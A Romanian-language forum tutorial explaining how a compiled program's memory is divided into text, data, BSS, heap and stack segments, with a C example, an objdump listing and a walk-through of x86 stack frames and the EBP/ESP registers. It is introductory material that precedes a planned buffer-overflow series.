Adding The Final Shellcode Playlist Youtube : https://www.youtube.com/playlist?list=PLdXylH5WObDcOUUyhoHWUcFImbGNU7nT1 Author : ninjas3c Regards NO-MERCY
  8. In acest articol voi vorbi despre memory segmentation.voi defini intrun mod destul de clar cum vine impartita memoria in segmente atunci cand vine creat un executabil.Avand in vedere faptul ca exista mai multe tipuri de memorie pentru a clarifica lucrurile main memory se refera la RAM.In acest tutorial am vorbit despre memorie hysical && Virtual Memory Explained iar aici voi vorbi despre modul in care memoria RAM vine impartita in segmente.Dupa acest tutorial se va putea intelege conceptul de stack si heap.Voi explica doar lucrurile esentiale iar ceea ce e mai complicat il veti intelege dpe parcurs doar daca veti programa in C sau Assembly. Un alt tutorial care va poate fi de ajutor pentru a intelege ceea ce va fi descris aici este Basic GAS AT&T Assembly Syntax [Tutorial] .Daca vati saturat sa auziti de PUSH,POP,ESP,EBP,EIP,STACK,HEAP,BUFFER atunci lasati-o balta deoarece acest tutorial nu e pentru voi. Voi incepe cu urmatoarea definite:Memoria ram vine impartita in segmente pe care le putem definii sectii de memorie.Cand si unde poate fi observat acest lucru?In momentul in care vine scris un executabil datele din codul sursa impreuna cu instructiile vin salvate in memorie.Ei bine fiecare data din executabil vine salvata intro anumita sectie de memorie.La ce ajuta sa cunosti acest lucru?Ei bine raspunsul e simplu , deoarece iti permite sa ai controlul asupra executabilului si a sistemului.Cum? Veti observa si va veti da seama doar daca veti continua sa studiati acest principiu.Voi prezenta sectiile in care poate fi impartita memoria iar in momentul in care voi face un exemplu cu o bucata de cod voi explica unde vine pusa fiecare instructie. RAM ------------- - stack - <-segment de memorie dinamic ------------- - - - - - NULL - <-segment de memorie nealocat - - - - ------------- - heap - <-segment de memorie dinamic ------------- - BSS - <-variabile care nu sunt initializate ------------- - data - <-variabile initializate ------------- - text - <-instructiile executabilului ------------- - - - OS - <- spatiu alocat pentru sistemul operativ - - ------------- Sectiile sau zonele de memorie contin anumite adrese , ceea ce este important sa cunoasteti este faptul ca numerotarea adreselor vine facuta de la valoarea cea mai mare plecand in decrement spre 0 , iar segmentul OS ajunge la prima memoria disponibila in RAM.Inca un aspect important , in momentul in care vin introduse date in segmentul stack acesta incepe sa alocheze spatiu din segmentul NULL , iar cand datele vin extrase elibereaza segmentul NULL, acelasi lucru se intampla cu segmentul Heap, atunci cand vin stocate date acesta va ocupa spatiu in Null.(Note:Am chemat acest segment null dar de fapt nu are nici un nume generic ci e doar un spatiu de memorie care nu e folosit)In momentul in care vine scris un executabil variabilele, functiile si instructiile definite vin stocate in aceste segmente.Aici vom face cateva exemple:Urmatoarul exemplu demonstreaza in care segment vor fi stocate anumite variabile #include<stdio.h> #include <stdlib.h> void function() { int first; //stack printf("Introdu un caracter: "); scanf("%d",&first); printf("[+] int %d (va merge in segmentul stack la adresa addr %p)\x0a",first ,&first); return; } int main() { static int second; // va merge in segmentul BSS static int third = 2; // va merge in segmentul data //int *fourth; // urmatoarea variabila este alocata in segmentul stack dar e un pointer in segmentul heap int *fourth = (int*)malloc(sizeof(int)); //heap int *fifth; // un pointer care merge in segmentul stack printf("[+] int second addr %p (va merge in segmentul bss)\x0a",&second); printf("[+] int third addr %p (va merge in segmentul data)\x0a",&third); printf("[+] int fourth addr %p (va merge in segmentul heap)\x0a",&*fourth); printf("[+] int fifth addr %p (va merge in segmentul stack)\x0a",&fifth); function(); return 0; } Va trebui doar sa compilati si sa executati codul, asadar in output veti putea observa fiecare variabila la care adresa se gaseste si in care segment vine stocata.Dupa cum observati istructiile programului vor fi stocate in segmentul text Contents of section .text: 80483a0 31ed5e89 e183e4f0 50545268 20850408 1.^.....PTRh ... 80483b0 68308504 08515668 98840408 e897ffff h0...QVh........ 80483c0 fff49090 90909090 90909090 90909090 ................ 80483d0 5589e553 83ec0480 3d289804 0800753f U..S....=(....u? 80483e0 a12c9804 08bb2097 040881eb 1c970408 .,.... ......... 80483f0 c1fb0283 eb0139d8 731e8db6 00000000 ......9.s....... 8048400 83c001a3 2c980408 ff14851c 970408a1 ....,........... 8048410 2c980408 39d872e8 c6052898 04080183 ,...9.r...(..... 8048420 c4045b5d c38d7426 008dbc27 00000000 ..[]..t&...'.... 8048430 5589e583 ec18a124 97040885 c07412b8 U......$.....t.. 8048440 00000000 85c07409 c7042424 970408ff ......t...$$.... 8048450 d0c9c390 5589e583 ec28b8e0 85040889 ....U....(...... 8048460 0424e801 ffffffb8 f6850408 8d55f489 .$...........U.. 8048470 54240489 0424e80d ffffff8b 55f4b8fc T$...$......U... 8048480 8504088d 4df4894c 24088954 24048904 ....M..L$..T$... 8048490 24e8d2fe ffffc9c3 5589e583 e4f083ec $.......U....... 80484a0 20c70424 04000000 e8cbfeff ff894424 ..$..........D$ 80484b0 1cb83c86 0408c744 24043098 04088904 ..<....D$.0..... 80484c0 24e8a2fe ffffb874 860408c7 44240424 $......t....D$.$ 80484d0 98040889 0424e88d feffffb8 ac860408 .....$.......... 80484e0 8b54241c 89542404 890424e8 78feffff .T$..T$...$.x... 80484f0 b8d88604 088d5424 18895424 04890424 ......T$..T$...$ 8048500 e863feff ffe84aff ffffb800 000000c9 .c....J......... 8048510 c3909090 90909090 90909090 90909090 ................ 8048520 5589e55d c38d7426 008dbc27 00000000 U..]..t&...'.... 8048530 5589e557 5653e84f 00000081 c3c11200 U..WVS.O........ 8048540 0083ec1c e8bffdff ff8dbb18 ffffff8d ................ 8048550 8318ffff ff29c7c1 ff0285ff 742431f6 .....)......t$1. 8048560 8b451089 4424088b 450c8944 24048b45 .E..D$..E..D$..E 8048570 08890424 ff94b318 ffffff83 c60139fe ...$..........9. 8048580 72de83c4 1c5b5e5f 5dc38b1c 24c39090 r....[^_]...$... 8048590 5589e553 83ec04a1 14970408 83f8ff74 U..S...........t 80485a0 13bb1497 04086690 83eb04ff d08b0383 ......f......... 80485b0 f8ff75f4 83c4045b 5dc39090 ..u....[]... Vom continua cu 2 segmente de memorie importante si anume Stack si Heap ------------- - stack - <-segment de memorie dinamic ------------- - - - - - NULL - <-segment de memorie nealocat - - - - ------------- - heap - <-segment de memorie dinamic ------------- Recapituland , ori de cate ori vor fi stocate date in stack acesta va cobora in jos luand spatiul necesar pentru a stoca aceste date din segmentul NULL, acelasi efect se va intampla daca datele for fi stocate in segmentul heap.Probabil intrebarea voastra este urmatoarea , ce se intampla daca ambele segmente preiau spatiul disponibil din NULL?Ei bine segmentul stack este dinamic iar o data ce datele au fost procesate elibera spatiul din null ,acelasi lucru face si segmentul heap doar ca aici depinde de programator deoarece memoria in acest segment vine alocata prin functia malloc() si vine eliberata folosind functia free()Evident daca careva va aloca o gramada de memorie fara sa fie eliberata folosind-use de segmentul heap vom avea un memory leak.Segmentul stack este divers de heap si o data ce nu mai are nevoie de date va alibera memoria in mod dinamic si automat. Cum functioneaza segmentul stack?In stack vin alocate diverse avariabile in mod dinamic.Spre exemplu daca noi stocam in stack valorile 1,2,3 , pentru a elibera sau extrage valorile se va face in mod invers , si anume prima valoare pe care o vom extrage afara din stack este 3 dupa care 2 si unu.Acest concept vine chemat LIFO (Last In First Out).O mica demonstratie: Avem urmatorul cod: int main() { int var1; //declar o variabila var1 int var2; //declar o variabila var2 int var3; //declar o variabila var3 } Aceste date vin alocate in segmentul stack exact in modul in care au fost declarate si anume: STACK ---------- <-EBP - var1 - ---------- - var2 - ---------- - var3 - ---------- <-ESP Segmentul de stack va creste in jos ocupand spatiu din segmentul NUll Aici voi introduce 2 noi aspecte, in assembly vin folositi doi registrii Registrul ce contine ultima adresa de memorie din stack care se numeste ESP /Extended Stack Pointer), un alt registru ce va contine primul record de memorie din functia sau procedura in care ne aflam si se numeste EBP(Extended Base Pointer)Momentan exista doar o singura functie si anume main. Dupa cum am precizat numerotarea adreselor vine facut de sus in jos in mod invers, nu vom avea niciodata un stack care pleaca de la 0 deoarece intotdeauna in sistem vor exista deja alte processe care se vor folosi de aceste adrese.Asadar presupunem ca in momentul in care vrem sa introducem o valoare in stack ESP se afla la adresa 0xbffff9e8 ,deci pentru a stoca 4 byte in stack va trebui facut un decrement de 4 byte. Deci 0xbffff9e8 - 4 = bffff9e88.Acum ESP se va afla la adresa 0xbffff9e8.De cate ori vine introdusa o valoare vine facut un decrement.Acum in momentul in care eu fac urmatoare operatie matematica si anume bffff9e88 + 4 = 0xbffff9e8 voi sterge 4 byte din stack iar registrl ESP se va afla acum la adresa 0xbffff9e8.Avand in vedere faptul ca pleaca de la ao adresa superioara in decrement spre 0 cand se va face o adunare se vor sterge elemente iar in momentul in care se vor pune elemente se va face un decrement iar adresa stack-ului va creste in jos spre 0.Assembly pune la dispozitie doua instructii pentru a stoca si extrage date din stack, acestea sunt PUSH si POP.PUSH Va stoca o valoare in segmentul stack iar POP va extrage o valoare.Mai exista un aspect foarte important a acestui segment de memorie pe care il voi incerca sa explic cu urmatorul exemplu de cod: #include <stdio.h> int doprint() { printf("Hello\n"); } int main () { doprint(); return 0; } Avem un simplu executabil care chiama o functie care face un print.Vom analiza datele din stack in momentul in care vine chemata functia doprint. Deci in momentul in care vine chemata functia print se intampla acest lucru MAIN chiama doprint 0x080483de <main+6>: call 0x80483c4 <doprint> 0x080483e3 <main+11>: mov $0x0,%eax In acest moment urmatoarea adresa care va trebui sa fie executata dupa ce doprint isi termina treaba va fi stocata in stack ca adresa de return.Can doprint termina treaba se intoarce aici si main continua. Vine pusa valoarea registrului EBP in stack 0x080483c4 <doprint+0>: push %ebp Valoarea EBP 0xbffff9a8 Valoarea actuala din ESP vine pusa in EBP 0x080483c5 <doprint+1>: mov %esp,%ebp In stacK vine facut un decrement de 24 byte pentru a aloca spatiul necesar pentru variabile. 0x080483c7 <doprint+3>: sub $0x18,%esp Note 0x18 este echivalent cu 24 in hex Vin incarcate si stampate datele din functia doprint 0x080483ca <doprint+6>: movl $0x80484b0,(%esp) 0x080483d1 <doprint+13>: call 0x80482f8 <puts@plt> Urmatoarea instructie este importanta deoarece aici functia doprint a terminat treaba si va trebui sa se intoarca in main ca sa termine programul 0x080483d6 <doprint+18>: leave 0x080483d7 <doprint+19>: ret Instructia leave face in asa fel incat registrii ESB si EBP sa isi preia locul initial pe care il aveau inainte sa intre in doprint.Instructia ret va copia adresa 0x080483e3 in EIP asadar procesorul va executa instructtia care se gaseste la aceasta adresa si anume return 0; Stack -------------- - 0x080483e3 - <-Return Address -------------- - EBP (OLD) - -------------- <-EBP - 0xbffff980 - -------------- - 0xbffff990 - -------------- <-ESP In debugger segmentul de stack pentru aceste instructii poate fi reprezentat in acest mod 0xbffff980: 0xb7fc5304 0xb7fc4ff4 0x08048400 0xbffff9a8 0xbffff990: 0xb7eb3365 0xb7ff1040 0xbffff9a8 0x080483e3 Momentan inchei aici tutorialul, voi continua cu alte articole unde voi discuta despre buffer overflow.Daca aveti intrebari , le puteti face.Multe alte lucruri nu au fost explicate pentru a nu pune in confuzie user-ul. Scopul acestui tutorial era sa explice faptul ca memoria poate fi impartita in segmente si ca in aceste segmente pot fi stocate diverse date.
×
×
  • Create New...